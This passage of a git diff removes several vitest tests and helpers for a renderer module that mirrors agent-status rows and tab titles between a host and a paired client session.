-  resetWebSessionTabsSyncTestState
-} from '../testing/web-session-tabs-sync.test-fixture'
-
-vi.mock('../../../store/index', () => ({
-  useAppStore: {
-    setState: vi.fn()
-  }
-}))
-
-describe('applyWebSessionTabsSnapshot', () => {
-  beforeEach(resetWebSessionTabsSyncTestState)
-
-  it('resolves origins linearly without publishing equal paired snapshots', () => {
-    const resolve = vi.spyOn(sessionOrigin, 'resolveAgentSessionStartedAt')
-    try {
-      const counts = [10, 100].map((population) => {
-        let state = makeState()
-        const surfaces = Array.from({ length: population }, (_, index) => ({
-          type: 'terminal' as const,
-          id: `host-${index}::${LEAF_ID}`,
-          title: 'Claude',
-          parentTabId: `host-${index}`,
-          leafId: LEAF_ID,
-          isActive: index === 0,
-          status: 'ready' as const,
-          terminal: `terminal-${index}`,
-          agentStatus: {
-            state: 'working' as const,
-            prompt: 'task',
-            agentType: 'claude',
-            paneKey: makePaneKey(`host-${index}`, LEAF_ID),
-            worktreeId: WT,
-            updatedAt: NOW,
-            stateStartedAt: NOW - 10_000,
-            stateHistory: [],
-            providerSession: { key: 'session_id' as const, id: `session-${index}` }
-          }
-        }))
-        const patch = () =>
-          buildMirroredAgentStatusPatch(state, [], surfaces, [], ENV, WT, new Set(), NOW)
-        resolve.mockClear()
-        state = { ...state, ...patch() }
-        const initial = resolve.mock.calls.length
-        expect(Object.keys(state.agentStatusByPaneKey)).toHaveLength(population)
-        resolve.mockClear()
-        expect(patch()).toBeNull()
-        const repeated = resolve.mock.calls.length
-        const epoch = state.sortEpoch
-        surfaces[0].agentStatus = {
-          ...surfaces[0].agentStatus,
-          updatedAt: NOW + 1,
-          providerSession: { key: 'session_id', id: 'replacement' }
-        }
-        resolve.mockClear()
-        state = { ...state, ...patch() }
-        expect(state.sortEpoch).toBe(epoch + 1)
-        expect(state.agentStatusEpoch).toBe(2)
-        expect(Object.values(state.agentStatusByPaneKey)[0].firstStateStartedAt).toBe(NOW + 1)
-        return [initial, repeated, resolve.mock.calls.length]
-      })
-      expect(counts[0]).toEqual([10, 10, 10])
-      expect(counts[1]).toEqual(counts[0].map((count) => count * 10))
-    } finally {
-      resolve.mockRestore()
-    }
-  })
-
-  it('repairs mirrored same-state attribution and retains identity from an older snapshot', () => {
-    const hostPaneKey = makePaneKey('host-tab-1', LEAF_ID)
-    const snapshot = makeSnapshot([
-      {
-        type: 'terminal',
-        id: HOST_SURFACE_ID,
-        title: 'codex [working]',
-        parentTabId: 'host-tab-1',
-        leafId: LEAF_ID,
-        isActive: true,
-        status: 'ready',
-        terminal: 'terminal-1',
-        agentStatus: {
-          state: 'working',
-          prompt: 'fix web parity',
-          updatedAt: NOW - 100,
-          stateStartedAt: NOW - 1_000,
-          agentType: 'codex',
-          paneKey: hostPaneKey,
-          worktreeId: WT,
-          tabId: 'host-tab-1',
-          providerSession: { key: 'session_id', id: 'session-1' },
-          stateHistory: []
-        }
-      }
-    ])
-    const initial = applyWebSessionTabsSnapshot(
-      makeState(),
-      snapshot,
-      ENV,
-      NOW
-    ) as Partial<WebSessionTabsSyncState>
-    const mirroredPaneKey = Object.keys(initial.agentStatusByPaneKey ?? {})[0]!
-    const existing = initial.agentStatusByPaneKey![mirroredPaneKey]!
-    const attributionPatch = applyWebSessionTabsSnapshot(
-      makeState({
-        ...initial,
-        agentStatusByPaneKey: {
-          [mirroredPaneKey]: {
-            ...existing,
-            worktreeId: 'stale-worktree',
-            tabId: 'stale-tab'
-          }
-        },
-        agentStatusEpoch: 7,
-        sortEpoch: 11
-      }),
-      { ...snapshot, snapshotVersion: 2 },
-      ENV,
-      NOW
-    ) as Partial<WebSessionTabsSyncState>
-
-    expect(attributionPatch.agentStatusByPaneKey?.[mirroredPaneKey]).toMatchObject({
-      worktreeId: existing.worktreeId,
-      tabId: existing.tabId
-    })
-    expect(attributionPatch.agentStatusEpoch).toBe(8)
-    expect(attributionPatch.sortEpoch).toBe(12)
-
-    const fresherAttributionPatch = applyWebSessionTabsSnapshot(
-      makeState({
-        ...initial,
-        agentStatusByPaneKey: {
-          [mirroredPaneKey]: {
-            ...existing,
-            updatedAt: NOW,
-            worktreeId: 'stale-worktree',
-            tabId: 'stale-tab',
-            providerSession: undefined
-          }
-        },
-        agentStatusEpoch: 7,
-        sortEpoch: 11
-      }),
-      { ...snapshot, snapshotVersion: 3 },
-      ENV,
-      NOW
-    ) as Partial<WebSessionTabsSyncState>
-
-    expect(fresherAttributionPatch.agentStatusByPaneKey?.[mirroredPaneKey]).toMatchObject({
-      worktreeId: existing.worktreeId,
-      tabId: existing.tabId,
-      updatedAt: NOW,
-      providerSession: { key: 'session_id', id: 'session-1' }
-    })
-    expect(fresherAttributionPatch.agentStatusEpoch).toBe(8)
-    expect(fresherAttributionPatch.sortEpoch).toBe(12)
-
-    const identityPatch = applyWebSessionTabsSnapshot(
-      makeState({
-        ...initial,
-        ...attributionPatch,
-        agentStatusByPaneKey: {
-          [mirroredPaneKey]: {
-            ...attributionPatch.agentStatusByPaneKey![mirroredPaneKey]!,
-            updatedAt: NOW,
-            providerSession: undefined
-          }
-        }
-      }),
-      { ...snapshot, snapshotVersion: 4 },
-      ENV,
-      NOW
-    ) as Partial<WebSessionTabsSyncState>
-
-    expect(identityPatch.agentStatusByPaneKey?.[mirroredPaneKey]?.providerSession).toEqual({
-      key: 'session_id',
-      id: 'session-1'
-    })
-    expect(identityPatch.agentStatusByPaneKey?.[mirroredPaneKey]?.updatedAt).toBe(NOW)
-    expect(identityPatch.agentStatusEpoch).toBe(8)
-    expect(identityPatch.sortEpoch).toBe(12)
-
-    const nextTurnPatch = applyWebSessionTabsSnapshot(
-      makeState({
-        ...initial,
-        agentStatusByPaneKey: {
-          [mirroredPaneKey]: {
-            ...existing,
-            state: 'working',
-            updatedAt: NOW,
-            stateStartedAt: NOW,
-            worktreeId: 'stale-worktree',
-            tabId: 'stale-tab',
-            providerSession: undefined
-          }
-        }
-      }),
-      {
-        ...snapshot,
-        snapshotVersion: 5,
-        tabs: snapshot.tabs.map((tab) =>
-          tab.type === 'terminal' && tab.agentStatus
-            ? {
-                ...tab,
-                agentStatus: {
-                  ...tab.agentStatus,
-                  state: 'done',
-                  providerSession: { key: 'session_id', id: 'previous-session' }
-                }
-              }
-            : tab
-        )
-      },
-      ENV,
-      NOW
-    ) as Partial<WebSessionTabsSyncState>
-
-    expect(nextTurnPatch.agentStatusByPaneKey?.[mirroredPaneKey]).toMatchObject({
-      state: 'working',
-      stateStartedAt: NOW,
-      worktreeId: WT,
-      tabId: existing.tabId
-    })
-    expect(nextTurnPatch.agentStatusByPaneKey?.[mirroredPaneKey]?.providerSession).toBeUndefined()
-  })
-})
-
-it.each([false, true])(
-  'keeps paired rows stable with rolling history=%s across host enrichment and replacement',
-  (history) => {
-    resetWebSessionTabsSyncTestState()
-    let state = makeState()
-    const order = () =>
-      buildWorktreeAgentRows({
-        tabs: state.tabsByWorktree[WT] ?? [],
-        entries: Object.values(state.agentStatusByPaneKey),
-        retained: [],
-        now: NOW
-      }).map((row) => row.paneKey)
-    const update = (at: number, tick: number, session = 'A', origin?: number, stale = false) => {
-      const tabs = [1, 2].map((index) => ({
-        type: 'terminal' as const,
-        id: `host-tab-${index}::${LEAF_ID}`,
-        title: 'Claude',
-        parentTabId: `host-tab-${index}`,
-        leafId: LEAF_ID,
-        isActive: index === 1,
-        status: 'ready' as const,
-        terminal: `terminal-${index}`,
-        agentStatus: {
-          state: 'working' as const,
-          prompt: 'task',
-          updatedAt: NOW + tick - (stale ? 100 : 0),
-          stateStartedAt: NOW - (index === 1 ? 10000 - at : 8000),
-          agentType: 'claude',
-          paneKey: makePaneKey(`host-tab-${index}`, LEAF_ID),
-          providerSession: { key: 'session_id' as const, id: index === 1 ? session : 'quiet' },
-          ...(origin !== undefined ? { firstStateStartedAt: origin } : {}),
-          stateHistory: history
-            ? [
-                {
-                  state: 'done' as const,
-                  prompt: '',
-                  startedAt: NOW - (index === 1 ? 10000 - at : 8000)
-                }
-              ]
-            : []
-        }
-      }))
-      state = {
-        ...state,
-        ...applyWebSessionTabsSnapshot(
-          state,
-          makeSnapshot(tabs, { snapshotVersion: tick + 1 }),
-          ENV,
-          NOW + tick + 100_000
-        )
-      }
-    }
-    update(0, 0)
-    const before = order()
-    update(5000, 1, 'A', NOW - 5000)
-    expect(order()).toEqual(before)
-    const epoch = state.sortEpoch
-    update(6000, 2, 'B', NOW - 5000)
-    expect(order()).toEqual(before.toReversed())
-    expect(state.agentStatusByPaneKey[before[0]!].firstStateStartedAt).toBe(NOW - 5000)
-    expect(state.sortEpoch).toBeGreaterThan(epoch ?? 0)
-    update(7000, 3, 'rejected-old-session', undefined, true)
-    expect(state.agentStatusByPaneKey[before[0]!].firstStateStartedAt).toBe(NOW - 5000)
-    update(6000, 4, 'legacy-next-session')
-    expect(state.agentStatusByPaneKey[before[0]!].firstStateStartedAt).toBe(NOW + 4)
-  }
-)
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-host-tab-retraction-ghost-rows.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-host-tab-retraction-ghost-rows.test.ts
index 9d1ef991b37..5617d3f934d 100644
--- a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-host-tab-retraction-ghost-rows.test.ts
+++ b/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-host-tab-retraction-ghost-rows.test.ts
@@ -1,9 +1,6 @@
 /** Host tab retraction must sweep renderer status and plant close markers like local close (STA-4593). Client-owned rows bypass normal mirror deletion and lose their only reachable pane keys at retraction; done rows otherwise become retained ghosts. Exercise real mirror, retention and sidebar logic with fake clocks. */
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type {
-  RuntimeMobileSessionTabsRemovedResult,
-  RuntimeMobileSessionTabsResult
-} from '../../../../../shared/runtime-session-contracts'
+import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
 import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import { toWebTerminalSurfaceTabId } from '../../../../../shared/workspace-layout/terminal-surface-id'
 import { getDefaultSettings } from '../../../../../shared/constants'
@@ -15,10 +12,7 @@ import {
   registerRendererOwnedAgentStatusPane,
   resetRendererOwnedAgentStatusPanesForTests
 } from '../../../components/terminal-pane/agent-status/renderer-owned-agent-status-registry'
-import {
-  applyFreshWebSessionTabsSnapshot,
-  applyFreshWebSessionTabsSnapshots
-} from '../snapshot-api'
+import { applyFreshWebSessionTabsSnapshot } from '../snapshot-api'
 import { resetWebSessionTabsSnapshotFreshnessForTests } from '../tracking-lifecycle'
 import {
   buildRetainedAgentsSyncSnapshot,
@@ -114,22 +108,6 @@ function makeHostSnapshot(args: {
   }
 }
 
-/** Inventory omission empties the whole worktree mirror, including live sibling environments. Host removal tombstones differ only in epoch shape; neither proves every host tab closed. */
-function makeWorktreeRemovalFrame(
-  publicationEpoch = 'visibility-inventory-removal'
-): RuntimeMobileSessionTabsRemovedResult {
-  return {
-    worktree: WT,
-    publicationEpoch,
-    snapshotVersion: 0,
-    removed: true,
-    activeGroupId: null,
-    activeTabId: null,
-    activeTabType: null,
-    tabs: []
-  }
-}
-
 /** Mirrors applyWebSessionTabsStorePatch: build the patch from live state, then set it. */
 function applyHostSnapshot(
   store: TestStore,
@@ -256,52 +234,6 @@ describe('a host-retracted paired tab leaves no ghost agent row behind', () => {
     resetRendererOwnedAgentStatusPanesForTests()
   })
 
-  it('Mechanism A: a client-owned working row must not outlive its retracted tab', () => {
-    const store = seedPairedClientStore()
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({
-        snapshotVersion: 1,
-        hostTabIds: [KEEP_TAB, RETRACTED_TAB],
-        hostNow: T0 - 1_000
-      }),
-      T0
-    )
-    const release = replayClientByteStatus(store, RETRACTED_TAB, RETRACTED_LEAF, 'working', T0)
-    expect(store.getState().agentStatusByPaneKey[GHOST_PANE_KEY]?.state).toBe('working')
-
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({ snapshotVersion: 2, hostTabIds: [KEEP_TAB], hostNow: T0 + 1_000 }),
-      T0 + 2_000
-    )
-    // Unmount releases ownership AFTER the store removes the tab, matching production ordering.
-    release()
-    // Identical replay cannot revisit retracted pane keys; empty patch isolates that unreachability from the sweep.
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({ snapshotVersion: 3, hostTabIds: [KEEP_TAB], hostNow: T0 + 3_000 }),
-      T0 + 4_000,
-      { expectChange: false }
-    )
-
-    const observed = observeSidebar(store, T0 + 4_000)
-    const evidence = JSON.stringify(
-      { observed, ghost: store.getState().agentStatusByPaneKey[GHOST_PANE_KEY] },
-      null,
-      2
-    )
-    expect(observed.tabIds, evidence).toEqual([mirrorTabId(KEEP_TAB)])
-    expect(
-      store.getState().agentStatusByPaneKey[GHOST_PANE_KEY],
-      `a live agent row outlived the tab the host retracted\n${evidence}`
-    ).toBeUndefined()
-    expect(
-      observed.rowPaneKeys.filter((paneKey) => paneKey === GHOST_PANE_KEY),
-      `the sidebar renders an agent row for a tab that no longer exists\n${evidence}`
-    ).toEqual([])
-  })
-
   it('Mechanism C: a done agent whose tab the host retracted must not become a permanent retained row', () => {
     const store = seedPairedClientStore()
     let previousAgents: RetainedSyncAgents = new Map()
@@ -348,106 +280,6 @@ describe('a host-retracted paired tab leaves no ghost agent row behind', () => {
     ).toEqual([])
   })
 
-  it('a worktree tombstone frame must not sweep a client-owned row it merely un-mirrors', () => {
-    const store = seedPairedClientStore()
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({
-        snapshotVersion: 1,
-        hostTabIds: [KEEP_TAB, RETRACTED_TAB],
-        hostNow: T0 - 1_000
-      }),
-      T0
-    )
-    const release = replayClientByteStatus(store, RETRACTED_TAB, RETRACTED_LEAF, 'working', T0)
-    expect(store.getState().agentStatusByPaneKey[GHOST_PANE_KEY]?.state).toBe('working')
-
-    // Inventory omission clears the mirror but proves no host close; sibling environments may still publish the tab.
-    applyHostSnapshot(store, makeWorktreeRemovalFrame(), T0 + 1_000)
-    expect(store.getState().tabsByWorktree[WT] ?? []).toEqual([])
-
-    expect(
-      store.getState().agentStatusByPaneKey[GHOST_PANE_KEY],
-      'a tombstone frame swept a client-owned row whose tab is still open on the host'
-    ).toBeDefined()
-    expect(
-      store.getState().recentlyClosedAgentStatusTabIds[mirrorTabId(RETRACTED_TAB)],
-      'a tombstone frame planted a close suppressor for a tab nobody closed'
-    ).toBeUndefined()
-
-    // Returning publication must restore client-owned status authority (STA-3107).
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({
-        snapshotVersion: 2,
-        hostTabIds: [KEEP_TAB, RETRACTED_TAB],
-        hostNow: T0 + 2_000
-      }),
-      T0 + 3_000
-    )
-    expect(store.getState().tabsByWorktree[WT]?.map((tab) => tab.id)).toContain(
-      mirrorTabId(RETRACTED_TAB)
-    )
-    expect(store.getState().agentStatusByPaneKey[GHOST_PANE_KEY]?.state).toBe('working')
-    release()
-  })
-
-  it('a re-mirrored tab id regains its client-owned status channel', () => {
-    const store = seedPairedClientStore()
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({
-        snapshotVersion: 1,
-        hostTabIds: [KEEP_TAB, RETRACTED_TAB],
-        hostNow: T0 - 1_000
-      }),
-      T0
-    )
-    const release = replayClientByteStatus(store, RETRACTED_TAB, RETRACTED_LEAF, 'working', T0)
-
-    // Transient restart/collision retraction also plants the close marker.
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({ snapshotVersion: 2, hostTabIds: [KEEP_TAB], hostNow: T0 + 1_000 }),
-      T0 + 2_000
-    )
-    release()
-    expect(
-      store.getState().recentlyClosedAgentStatusTabIds[mirrorTabId(RETRACTED_TAB)]
-    ).toBeDefined()
-
-    // Stable mirrored IDs can return after restart/collision repair. Presence clears close markers (real closing tabs are intent-filtered) or status stays dead forever.
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({
-        snapshotVersion: 3,
-        hostTabIds: [KEEP_TAB, RETRACTED_TAB],
-        hostNow: T0 + 3_000
-      }),
-      T0 + 4_000
-    )
-    expect(store.getState().tabsByWorktree[WT]?.map((tab) => tab.id)).toContain(
-      mirrorTabId(RETRACTED_TAB)
-    )
-    expect(
-      store.getState().recentlyClosedAgentStatusTabIds[mirrorTabId(RETRACTED_TAB)],
-      'a re-mirrored tab id kept its closed-tab marker'
-    ).toBeUndefined()
-
-    const release2 = replayClientByteStatus(
-      store,
-      RETRACTED_TAB,
-      RETRACTED_LEAF,
-      'working',
-      T0 + 4_500
-    )
-    expect(
-      store.getState().agentStatusByPaneKey[GHOST_PANE_KEY]?.state,
-      'a returning mirrored tab was left permanently unable to acquire agent status'
-    ).toBe('working')
-    release2()
-  })
-
   it('a retract-and-return flap must not strand a suppressor that eats a later real retention', () => {
     const store = seedPairedClientStore()
     let previousAgents: RetainedSyncAgents = new Map()
@@ -514,52 +346,4 @@ describe('a host-retracted paired tab leaves no ghost agent row behind', () => {
       'a stranded retraction suppressor ate a legitimate done-agent retention'
     ).toBeDefined()
   })
-
-  it('Mechanism A holds through the batch apply path a reconnect load uses', () => {
-    const store = seedPairedClientStore()
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({
-        snapshotVersion: 1,
-        hostTabIds: [KEEP_TAB, RETRACTED_TAB],
-        hostNow: T0 - 1_000
-      }),
-      T0
-    )
-    const release = replayClientByteStatus(store, RETRACTED_TAB, RETRACTED_LEAF, 'working', T0)
-    expect(store.getState().agentStatusByPaneKey[GHOST_PANE_KEY]?.state).toBe('working')
-
-    // Reconnect batches retraction then status republication; later rows must not undo the sweep.
-    vi.setSystemTime(T0 + 2_000)
-    const state = store.getState()
-    const patch = applyFreshWebSessionTabsSnapshots(
-      state,
-      [
-        makeHostSnapshot({ snapshotVersion: 2, hostTabIds: [KEEP_TAB], hostNow: T0 + 1_000 }),
-        makeHostSnapshot({
-          snapshotVersion: 3,
-          hostTabIds: [KEEP_TAB],
-          hostNow: T0 + 1_500,
-          hostAgentStatusTabIds: [KEEP_TAB]
-        })
-      ],
-      ENV,
-      T0 + 2_000
-    )
-    expect(patch, 'the batch must pass the freshness gate').not.toBe(state)
-    store.setState(patch as Partial<AppState>)
-    release()
-
-    const observed = observeSidebar(store, T0 + 3_000)
-    expect(store.getState().tabsByWorktree[WT]?.map((tab) => tab.id)).toEqual([
-      mirrorTabId(KEEP_TAB)
-    ])
-    expect(
-      store.getState().agentStatusByPaneKey[GHOST_PANE_KEY],
-      'the batch apply left a ghost row the singular apply sweeps'
-    ).toBeUndefined()
-    expect(observed.rowPaneKeys.filter((paneKey) => paneKey === GHOST_PANE_KEY)).toEqual([])
-    // Negative safety: the batch's later snapshot still landed its host row.
-    expect(store.getState().agentStatusByPaneKey[mirrorPaneKey(KEEP_TAB, KEEP_LEAF)]).toBeDefined()
-  })
 })
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-remote-status-title-flap.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-remote-status-title-flap.test.ts
index 459de5fee60..c893673932a 100644
--- a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-remote-status-title-flap.test.ts
+++ b/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-remote-status-title-flap.test.ts
@@ -1,17 +1,11 @@
 /** Paired panes receive both client byte-derived status/titles and host snapshot echoes. Proven client ownership must fence stale echoes despite cross-machine clocks; teardown returns authority and host-only states pierce the fence. Drive real mirror/store logic with controlled clocks and assert transition order/count, including generatedLabel and epoch stability. */
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
-import {
-  AGENT_STATUS_STALE_AFTER_MS,
-  isAgentStatusFresh
-} from '../../../../../shared/agent-status/contracts/agent-status-freshness'
 import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types'
 
 import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import { toWebTerminalSurfaceTabId } from '../../../../../shared/workspace-layout/terminal-surface-id'
-import { deriveGeneratedTabTitle } from '../../../../../shared/agent-status/presentation/agent-tab-title'
 import { getDefaultSettings } from '../../../../../shared/constants'
-import { resolveTerminalTabTitle } from '../../../../../shared/tab-title-resolution'
 import type { AppState } from '../../../store/types'
 import { createTestStore, seedStore } from '../../../store/testing/app-store-test-fixture'
 import { makeWorktree } from '../../../store/slices/worktrees/worktree.test-fixture'
@@ -43,12 +37,9 @@ const MIRROR_TAB_ID = toWebTerminalSurfaceTabId(HOST_TAB_ID)
 const MIRROR_PANE_KEY = makePaneKey(MIRROR_TAB_ID, LEAF_ID)
 const HOST_PANE_KEY = makePaneKey(HOST_TAB_ID, LEAF_ID)
 const T0 = 1_700_000_000_000
-const CYCLES = 3
 const CLIENT_PROMPT = 'Configurar y entender los comprobantes electronicos del sistema'
-const EXPECTED_GENERATED_TITLE = deriveGeneratedTabTitle(CLIENT_PROMPT)!
 
 const LOCAL_WT = 'repo1::/path/local-wt'
-const LOCAL_PANE_KEY = makePaneKey('local-tab-1', LEAF_ID)
 
 type TestStore = ReturnType<typeof createTestStore>
 
@@ -134,41 +125,6 @@ function replayClientOscWorking(store: TestStore, clientNow: number): () => void
   return release
 }
 
-type Frame = {
-  source: string
-  statusState: string | null
-  tabGeneratedTitle: string | null
-  visibleTabBarLabel: string | null
-  unifiedGeneratedLabel: string | null
-  unifiedLabel: string | null
-  agentStatusEpoch: number
-}
-
-function captureFrame(store: TestStore, source: string): Frame {
-  const s = store.getState()
-  const tab = (s.tabsByWorktree[WT] ?? []).find((t) => t.id === MIRROR_TAB_ID)
-  const unified = (s.unifiedTabsByWorktree[WT] ?? []).find((t) => t.id === MIRROR_TAB_ID)
-  return {
-    source,
-    statusState: s.agentStatusByPaneKey[MIRROR_PANE_KEY]?.state ?? null,
-    tabGeneratedTitle: tab?.generatedTitle ?? null,
-    visibleTabBarLabel: tab?.generatedTitle ?? tab?.title ?? null,
-    unifiedGeneratedLabel: unified?.generatedLabel ?? null,
-    unifiedLabel: unified?.label ?? null,
-    agentStatusEpoch: s.agentStatusEpoch
-  }
-}
-
-function countTransitions(values: (string | null)[]): number {
-  let transitions = 0
-  for (let i = 1; i < values.length; i += 1) {
-    if (values[i] !== values[i - 1]) {
-      transitions += 1
-    }
-  }
-  return transitions
-}
-
 function seedPairedClientStore(): TestStore {
   const store = createTestStore()
   seedStore(store, {
@@ -193,31 +149,6 @@ function seedPairedClientStore(): TestStore {
   return store
 }
 
-/** Interleave host/client publications with advancing controlled clocks and no skew; capture each resulting frame. */
-function runDualPublicationCycles(store: TestStore, includeAgentStatus: boolean): Frame[] {
-  applyHostSnapshot(
-    store,
-    makeHostSnapshot({ snapshotVersion: 1, hostNow: T0 - 1_000, includeAgentStatus }),
-    T0
-  )
-  const frames: Frame[] = [captureFrame(store, 'host-snapshot-1')]
-  for (let cycle = 1; cycle <= CYCLES; cycle += 1) {
-    replayClientOscWorking(store, T0 + cycle * 1_000 - 500)
-    frames.push(captureFrame(store, `client-osc-${cycle}`))
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({
-        snapshotVersion: 1 + cycle,
-        hostNow: T0 + cycle * 1_000,
-        includeAgentStatus
-      }),
-      T0 + cycle * 1_000
-    )
-    frames.push(captureFrame(store, `host-snapshot-${1 + cycle}`))
-  }
-  return frames
-}
-
 describe('remote-paired pane: host snapshot mirror vs client byte-derived status/title (issue1-ui-flash)', () => {
   beforeEach(() => {
     vi.useFakeTimers()
@@ -231,166 +162,8 @@ describe('remote-paired pane: host snapshot mirror vs client byte-derived status
     resetRendererOwnedAgentStatusPanesForTests()
   })
 
-  describe('converged sequence pinned (inverted defect pins — deterministic post-fix)', () => {
-    it('settles on the client-owned status and generated label and stops flipping on republication', () => {
-      const store = seedPairedClientStore()
-      expect(EXPECTED_GENERATED_TITLE).toBeTruthy()
-
-      store
-        .getState()
-        .setAgentStatus(
-          LOCAL_PANE_KEY,
-          { state: 'working', prompt: 'unrelated local work', agentType: 'codex' },
-          undefined,
-          { updatedAt: T0 - 10_000 },
-          { tabId: 'local-tab-1', worktreeId: LOCAL_WT }
-        )
-      const localEntryBefore = store.getState().agentStatusByPaneKey[LOCAL_PANE_KEY]
-      expect(localEntryBefore?.state).toBe('working')
-
-      const frames = runDualPublicationCycles(store, true)
-
-      // Host owns until the first byte write; later echoes must be no-ops including unified generatedLabel.
-      const expectedFrames: Partial<Frame>[] = [
-        {
-          source: 'host-snapshot-1',
-          statusState: 'done',
-          tabGeneratedTitle: null,
-          visibleTabBarLabel: 'Terminal',
-          unifiedGeneratedLabel: null,
-          unifiedLabel: 'Terminal'
-        }
-      ]
-      for (let cycle = 1; cycle <= CYCLES; cycle += 1) {
-        for (const source of [`client-osc-${cycle}`, `host-snapshot-${1 + cycle}`]) {
-          expectedFrames.push({
-            source,
-            statusState: 'working',
-            tabGeneratedTitle: EXPECTED_GENERATED_TITLE,
-            visibleTabBarLabel: EXPECTED_GENERATED_TITLE,
-            unifiedGeneratedLabel: EXPECTED_GENERATED_TITLE,
-            unifiedLabel: 'Terminal'
-          })
-        }
-      }
-      expect(frames.map(({ agentStatusEpoch: _epoch, ...frame }) => frame)).toEqual(expectedFrames)
-      expect(countTransitions(frames.map((f) => f.statusState))).toBe(1)
-      expect(countTransitions(frames.map((f) => f.visibleTabBarLabel))).toBe(1)
-
-      // No-op echoes must not bump agent-status epoch and trigger render/sort churn.
-      for (const [index, frame] of frames.entries()) {
-        if (frame.source.startsWith('host-snapshot-') && index > 0) {
-          expect(frame.agentStatusEpoch, frame.source).toBe(frames[index - 1]!.agentStatusEpoch)
-        }
-      }
-
-      // Negative safety: the unrelated local pane survives all mirror cycles untouched.
-      expect(store.getState().agentStatusByPaneKey[LOCAL_PANE_KEY]).toEqual(localEntryBefore)
-    })
-  })
-
   // Fence only proven client writers and never host-only state classes.
   describe('authority handback', () => {
-    it('cedes back to the host once the pane is torn down', () => {
-      const store = seedPairedClientStore()
-      const release = replayClientOscWorking(store, T0 + 500)
-      release()
-
-      applyHostSnapshot(
-        store,
-        makeHostSnapshot({ snapshotVersion: 2, hostNow: T0 + 1_000, includeAgentStatus: true }),
-        T0 + 1_000
-      )
-      expect(store.getState().agentStatusByPaneKey[MIRROR_PANE_KEY]?.state).toBe('done')
-
-      applyHostSnapshot(
-        store,
-        makeHostSnapshot({ snapshotVersion: 3, hostNow: T0 + 2_000, includeAgentStatus: false }),
-        T0 + 2_000
-      )
-      expect(store.getState().agentStatusByPaneKey[MIRROR_PANE_KEY]).toBeUndefined()
-    })
-
-    // Staleness decays client status to idle rather than deleting it (STA-3107); host omission offers no replacement. Only teardown hands authority back, so waking clients retain their rows.
-    it('decays rather than deletes a client "working" the agent never closed', () => {
-      const store = seedPairedClientStore()
-      replayClientOscWorking(store, T0)
-      expect(store.getState().agentStatusByPaneKey[MIRROR_PANE_KEY]?.state).toBe('working')
-
-      const afterStale = T0 + AGENT_STATUS_STALE_AFTER_MS + 1
-      applyHostSnapshot(
-        store,
-        makeHostSnapshot({ snapshotVersion: 2, hostNow: afterStale, includeAgentStatus: false }),
-        afterStale
-      )
-
-      const entry = store.getState().agentStatusByPaneKey[MIRROR_PANE_KEY]
-      expect(entry).toBeDefined()
-      expect(
-        isAgentStatusFresh(entry!, afterStale, AGENT_STATUS_STALE_AFTER_MS),
-        'the retained entry must read as stale so consumers render it idle'
-      ).toBe(false)
-    })
-
-    it('follows behind-clock host continuation and completion after an HTTP approval', () => {
-      const store = seedPairedClientStore()
-      replayClientOscWorking(store, T0 + 500)
-
-      applyHostSnapshot(
-        store,
-        makeHostSnapshot({
-          snapshotVersion: 2,
-          hostNow: T0 - 60_000,
-          includeAgentStatus: true,
-          agentStatusOverrides: {
-            state: 'waiting',
-            interactivePrompt: 'Allow exec_command?'
-          }
-        }),
-        T0 + 1_000
-      )
-      expect(store.getState().agentStatusByPaneKey[MIRROR_PANE_KEY]).toMatchObject({
-        state: 'waiting',
-        mirroredEvidenceReceivedAt: T0 + 1_000
-      })
-
-      applyHostSnapshot(
-        store,
-        makeHostSnapshot({
-          snapshotVersion: 3,
-          hostNow: T0 - 59_000,
-          includeAgentStatus: true,
-          agentStatusOverrides: { state: 'working' }
-        }),
-        T0 + 2_000
-      )
-      const continued = store.getState().agentStatusByPaneKey[MIRROR_PANE_KEY]
-      expect(continued?.state).toBe('working')
-      expect(continued?.interactivePrompt).toBeUndefined()
-
-      applyHostSnapshot(
-        store,
-        makeHostSnapshot({
-          snapshotVersion: 4,
-          hostNow: T0 - 58_000,
-          includeAgentStatus: true
-        }),
-        T0 + 3_000
-      )
-      expect(store.getState().agentStatusByPaneKey[MIRROR_PANE_KEY]?.state).toBe('done')
-
-      applyHostSnapshot(
-        store,
-        makeHostSnapshot({
-          snapshotVersion: 5,
-          hostNow: T0 - 57_000,
-          includeAgentStatus: false
-        }),
-        T0 + 4_000
-      )
-      expect(store.getState().agentStatusByPaneKey[MIRROR_PANE_KEY]).toBeUndefined()
-    })
-
     it('reclaims byte ownership after approval despite an ahead-clock host', () => {
       const store = seedPairedClientStore()
       replayClientOscWorking(store, T0 + 500)
@@ -445,98 +218,3 @@ describe('remote-paired pane: host snapshot mirror vs client byte-derived status
     })
   })
 })
-
-describe('remote-paired pane: host session name', () => {
-  beforeEach(() => {
-    vi.useFakeTimers()
-    vi.setSystemTime(T0)
-    resetWebSessionTabsSnapshotFreshnessForTests()
-    resetRendererOwnedAgentStatusPanesForTests()
-  })
-
-  afterEach(() => {
